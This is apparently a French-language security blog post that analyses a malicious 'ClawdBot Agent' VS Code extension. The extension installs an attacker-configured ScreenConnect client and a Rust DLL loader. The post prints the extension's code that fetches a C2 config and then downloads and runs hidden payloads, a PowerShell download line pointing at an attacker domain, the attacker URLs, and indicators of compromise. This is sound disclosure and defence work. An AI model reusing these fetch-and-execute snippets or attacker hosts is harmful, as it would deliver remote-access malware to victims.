Le 27 janvier 2026, notre système de détection de malwares a signalé une nouvelle extension VS Code nommée "ClawdBot Agent" qui a immédiatement tiré la sonnette d'alarme. Nous avons confirmé que l'extension est un cheval de Troie entièrement fonctionnel : un assistant de codage IA opérationnel en apparence, qui dépose silencieusement des malwares sur les machines Windows dès le démarrage de VS Code.
Le plus frappant est que la véritable équipe Clawdbot n'a jamais publié d'extension officielle pour VS Code. Les attaquants ont simplement revendiqué le nom en premier. Nous l'avons immédiatement signalé à Microsoft, qui a été très rapide à supprimer l'extension. Ce billet documente notre enquête sur cette extension.
Qu'est-ce que Clawdbot ?
Si vous avez suivi l'actualité de l'IA X récemment, vous avez probablement vu Clawdbot mentionné partout. C'est devenu l'un de ces assistants IA viraux qui fait beaucoup parler de lui. Naturellement, cela en fait une cible privilégiée pour l'usurpation d'identité, et c'est exactement ce qui s'est passé ici.
La fausse extension semble incroyablement légitime. Icône professionnelle, interface utilisateur soignée, intégration avec sept fournisseurs d'IA différents (OpenAI, Anthropic, Google, Ollama, Groq, Mistral, OpenRouter). Elle fonctionne même comme annoncé, ce qui est précisément ce qui la rend dangereuse.

Le code malveillant
Voyons ce qui se passe réellement lorsque vous installez cette extension.
Le package.json met en place un déclencheur immédiat :
{
"activationEvents": ["onStartupFinished"]
}
Cela signifie que l'extension s'exécute automatiquement à chaque démarrage de VS Code. Aucune interaction utilisateur n'est requise. C'est là que cela devient intéressant. Le activate() fonction appelle initCore() avant de faire quoi que ce soit d'autre :
function activate(context) {
initCore(context);
// ... legitimate AI assistant code follows
}
Et initCore() est l'endroit où la magie opère :
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
try {
const config = JSON.parse(data);
if (config.enabled) {
downloadAndRun(config.exe, config.dll);
}
} catch (e) {}
});
}).on('error', () => {
runFallbackDownload();
});
}
Voyez ce bloc `catch` vide ? C'est intentionnel. Pas de messages d'erreur, pas d'alertes, rien. En cas d'échec, il tente discrètement le mécanisme de repli. Si cela échoue également, personne n'en saura rien.
La livraison de la charge utile
C'est là que les choses deviennent intéressantes. Nous avons récupéré le véritable config.json depuis le serveur C2 :
{
"enabled": true,
"files": [
"Code.exe",
"DWrite.dll",
"ffmpeg.dll",
"icudtl.dat",
"libEGL.dll",
"msvcp140.dll",
"v8_context_snapshot.bin",
"vcruntime140.dll",
"vcruntime140_1.dll"
],
"version": "1.0"
}
À première vue, cela ressemble à une application Electron troyanisée usurpant l'identité de VS Code. Les noms de fichiers correspondent : Code.exe est le nom de l'exécutable de VS Code, v8_context_snapshot.bin est un snapshot du moteur V8, ffmpeg.dll et libEGL.dll sont des dépendances Chromium standard.
Mais ensuite, nous avons soumis les hachages à VirusTotal. Et c'est là que les choses sont devenues intéressantes.
Code.exe est signalé comme ConnectWise ScreenConnect par plusieurs éditeurs d'antivirus :
Code.exe (SHA256: e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2)
- Kaspersky : Not-a-virus:RemoteAdmin.MSIL.ConnectWise.a
- K7AntiVirus : RemoteTool ( 005d90a81 )
- Trellix : RAdmin-ConnectWise.bAu début, nous pensions qu'il s'agissait de fausses métadonnées. Mais l'analyse comportementale en sandbox raconte une autre histoire. Lors de l'exécution, Code.exe:
- S'installe dans
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\ - Déploie des composants ScreenConnect légitimes :
ScreenConnect.ClientService.exe,ScreenConnect.WindowsBackstageShell.exe,ScreenConnect.WindowsFileManager.exe - Se connecte à
meeting.bulletmailer[].net:8041
Il s'agit d'un logiciel ScreenConnect légitime. Mais il a été instrumentalisé.
Les attaquants ont mis en place leur propre serveur relais ScreenConnect, généré un installeur client préconfiguré et l'ont distribué via l'extension VS Code. Lorsque les victimes installent l'extension, elles obtiennent un client ScreenConnect entièrement fonctionnel qui se connecte immédiatement à l'infrastructure de l'attaquant.
Voici la configuration embarquée que nous avons extraite :
<ScreenConnect.ApplicationSettings>
<setting name="ClientLaunchParametersConstraint">
<value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value>
</setting>
</ScreenConnect.ApplicationSettings>
Ce h=meeting.bulletmailer[.]net&p=8041 est le serveur relais de l'attaquant. Le k= paramètre est la clé publique RSA de leur serveur ScreenConnect. La machine de chaque victime établit automatiquement une session d'accès à distance avec cette infrastructure.
Il s'agit d'une technique connue appelée "Bring Your Own ScreenConnect" (ou parfois "ScreenConnect as RMM abuse"). Les outils de support informatique tels que ScreenConnect, AnyDesk et TeamViewer sont de plus en plus instrumentalisés de cette manière, car ce sont des logiciels de confiance que les outils de sécurité autorisent souvent.
Et DWrite.dll? Cela fournit un mécanisme de livraison de charge utile redondant :
DWrite.dll (SHA256: d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea)
- Cynet: Malveillant (score : 100)
- Elastic: Malveillant (confiance modérée)
- Ikarus: Trojan.Win64.Injector
Il s'agit d'une attaque par DLL sideloading en tant que mécanisme de secours. Le composant basé sur Rust DWrite.dll peut récupérer indépendamment des charges utiles depuis Dropbox si le C2 principal échoue.
Le code de staging dépose tout dans %TEMP%\Lightshot:
const INIT_DIR = path.join(process.env.TEMP, 'Lightshot');Exécute ensuite la charge utile masquée et détachée :
spawn(exePath, [], {
detached: true,
stdio: 'ignore',
windowsHide: true
}).unref();
Vous avez donc ce qui semble être Code.exe en cours d'exécution sur votre système. Si vous êtes développeur, vous avez probablement déjà VS Code en cours d'exécution. Le remarqueriez-vous ? Probablement pas. Et si vous enquêtiez, vous verriez qu'il s'agit d'un logiciel ScreenConnect légitime avec des signatures valides. La partie malveillante n'est pas le binaire lui-même, mais l'endroit où ce binaire se connecte.
À l'intérieur de DWrite.dll : Un chargeur basé sur Rust
Nous avons analysé DWrite.dll en détail, et cela devient encore plus intéressant.
La DLL est écrite en Rust (les chemins du compilateur sont visibles dans le binaire) et exporte DWriteCreateFactory, exactement la même fonction que la bibliothèque légitime Windows DirectWrite exporte. Lorsque ScreenConnect charge et appelle cette fonction, le code malveillant est immédiatement déclenché.
Voici la chaîne de téléchargement-écriture-exécution :
// Open internet connection
InternetOpenA(...)
// Fetch payload from URL
InternetOpenUrlA(...)
// Create file in TEMP
CreateFileA(local_path, ...)
// Download loop
while (InternetReadFile(...) && bytes_read != 0) {
WriteFile(local_file, buffer, bytes_read, ...);
}
// Execute the downloaded file
ShellExecuteA(NULL, "open", downloaded_file, ...);Et à partir de quelle URL télécharge-t-il ?
https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1
Un lien Dropbox déguisé en mise à jour Zoom. Car pourquoi usurper l'identité d'une seule application légitime quand on peut en usurper trois ?
Le point crucial : nous avons téléchargé zoomupdate.msi à partir de ce lien Dropbox et vérifié le hash. C'est e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2.
C'est le même hash que Code.exe. C'est le même MSI malveillant. Ainsi, le DWrite.dll est un mécanisme de livraison redondant. Même si l'infrastructure C2 principale est désactivée, la DLL malveillante peut récupérer indépendamment la même charge utile depuis Dropbox. Une double sécurité.
Le chargeur inclut également :
- Contrôles de temporisation anti-analyse:
GetSystemTimeAsFileTimeet QueryPerformanceCounter pour détecter les sandboxes - Résolution dynamique d'API:
LoadLibraryAetGetProcAddressmasquer les imports de l'analyse statique - Contrôles de privilèges:
OpenProcessTokenavecTOKEN_QUERYpour sonder l'environnement
Redondance, redondance, redondance
Les attaquants ne voulaient absolument pas que cela échoue. Ils ont mis en place trois niveaux de livraison de charge utile :
- Configuration dynamique: Récupérer la liste des fichiers depuis
clawdbot.getintwopc[.]site/config.json - Fallback JavaScript : URLs codées en dur si le serveur de configuration est hors service
- Fallback de script batch: Un domaine complètement distinct à
darkgptprivate[.]com
Voici le fallback JavaScript enfoui dans l'extension :
function runFallbackDownload() {
// Fallback URLs if config server is down
const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe';
const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll';
downloadAndRun(fallbackExe, fallbackDll);
}
Et le script batch dans scripts/run.bat offre une autre voie :
set "U=https://darkgptprivate.com/d111"
powershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%U%/Lightshot.exe','%D%\Lightshot.exe')"Remarquez quelque chose d'intéressant ? Les fallbacks codés en dur font toujours référence à Lightshot.exe et Lightshot.dll, alors que le config.json pointe vers le bundle Electron avec Code.exe. Cela suggère que les attaquants ont probablement fait évoluer leur payload au fil du temps, passant d'un simple dropper déguisé en Lightshot à un impersonateur VS Code plus sophistiqué, tout en laissant l'ancien code de secours en place.
Si le C2 principal tombe, ils ont une sauvegarde. Si Node.js échoue, ils ont PowerShell. Si le premier domaine est neutralisé, un second est en attente. Ces acteurs ont bien préparé leur coup.
L'infrastructure
Nous avons tracé les deux domaines :
clawdbot.getintwopc[.]site est protégé par Cloudflare, ce qui rend plus difficile de trouver le serveur réel. Les journaux de transparence des certificats montrent que le domaine parent getintwopc[.]site est actif depuis au moins mars 2025.
darkgptprivate[.]com est plus intéressant. Il résout vers 178.16.54[.]253, hébergé par Omegatech LTD aux Seychelles. Le certificat a été émis le 10 janvier 2026, quelques semaines seulement avant que nous ne découvrions cet échantillon. Le domaine dispose également d'enregistrements SPF configurés pour les services de relais de courrier électronique, ce qui suggère qu'il pourrait également être utilisé pour le phishing.
Hébergement offshore aux Seychelles avec un espace IP récemment alloué ? Très suspect.
Ce qui rend cette attaque efficace
Il ne s'agit pas d'un script kiddie qui assemble du code obscurci. Les attaquants ont compris plusieurs choses :
- L'usurpation d'identité de marque fonctionne : Les personnes recherchant « Clawdbot VS Code » trouveront ceci en premier
- Les malwares fonctionnels évitent les soupçons : Les fonctionnalités d'IA fonctionnent réellement, donc les utilisateurs n'ont aucune raison de se plaindre
- Les extensions VS Code sont fiables : Elles s'exécutent avec un accès complet au système de fichiers et au réseau
- L'activation au démarrage est puissante : Aucun clic requis après l'installation
- De multiples mécanismes de repli garantissent la livraison : Le C2 échoue ? Essayez Dropbox. Node.js échoue ? Essayez PowerShell.
- Un RAT légitime est ingénieux : ScreenConnect est un logiciel informatique de confiance que les outils de sécurité autorisent
- La configuration piégée est l'astuce : Le binaire est propre ; seule la destination est malveillante
- Le camouflage de processus fonctionne: Un
Code.exeprocessus sur la machine d'un développeur ne soulève aucun sourcil - Quadruple usurpation d'identité : Clawdbot (extension) → VS Code (nom de la charge utile) → Lightshot (dossier de staging) → Zoom (nom de la charge utile Dropbox)
La superposition des couches est impressionnante. On a un faux assistant IA qui déploie un logiciel d'accès à distance légitime configuré pour se connecter à l'infrastructure de l'attaquant, avec un chargeur de secours basé sur Rust qui récupère la même charge utile depuis Dropbox, déguisée en mise à jour Zoom, le tout mis en scène dans un dossier portant le nom d'une application de capture d'écran. Chaque couche ajoute de la confusion pour les défenseurs.
Remédiation et Détection
Si vous avez installé l'extension « ClawdBot Agent », voici la marche à suivre :
- Désinstallez immédiatement l'extension de VS Code
- Recherchez l'installation de ScreenConnect à
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\et supprimez-la - Vérifiez les Services Windows pour
Client ScreenConnect (083e4d30c7ea44f7)et désinstallez-le - Cocher
%TEMP%\LightshotRecherchez tout fichier et supprimez le dossier entier - Ouvrez le Gestionnaire des tâches et recherchez tout
Code.exeprocessus ScreenConnect s'exécutant à partir de répertoires temporaires ou inattendus - Bloquez
meeting.bulletmailer.netet 179.43.176[.]32au niveau de votre pare-feu- Exécutez une analyse antivirus complète
- Si vous avez saisi des clés API dans l'extension, renouvelez-les immédiatement (OpenAI, Anthropic, Google, etc.)
- Vérifiez la présence de tâches planifiées ou d'entrées de démarrage susceptibles de redémarrer la charge utile
- Surveillez les connexions sortantes vers le port
8041
Indicateurs de compromission
IOC réseau :
meeting.bulletmailer[.]net:8041(relais ScreenConnect - C2 principal)179.43.176[.]32(IP du relais ScreenConnect)clawdbot.getintwopc[.]site(domaine C2 de l'extension)getintwopc[.]site(domaine parent)darkgptprivate[.]com(C2 secondaire)178.16.54[.]253(serveur darkgptprivate)https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1- (
DWrite.dllsource du payload)
IOCs de fichiers :
Dropper (Extension VS Code) :
- extension.js SHA256 :
adbcdb613c04fd51936cb0863d2417604db0cd04792ab7cae02526d48944c77b - run.bat SHA256 :
04ef48b104d6ebd05ad70f6685ade26c1905495456f52dfe0fb42f550bd43388
Payload (Malveillant) :
- Code.exe (Installeur ScreenConnect instrumentalisé) :
e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2 - DWrite.dll (Chargeur basé sur Rust) :
d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea
Sécurisez votre logiciel dès maintenant.




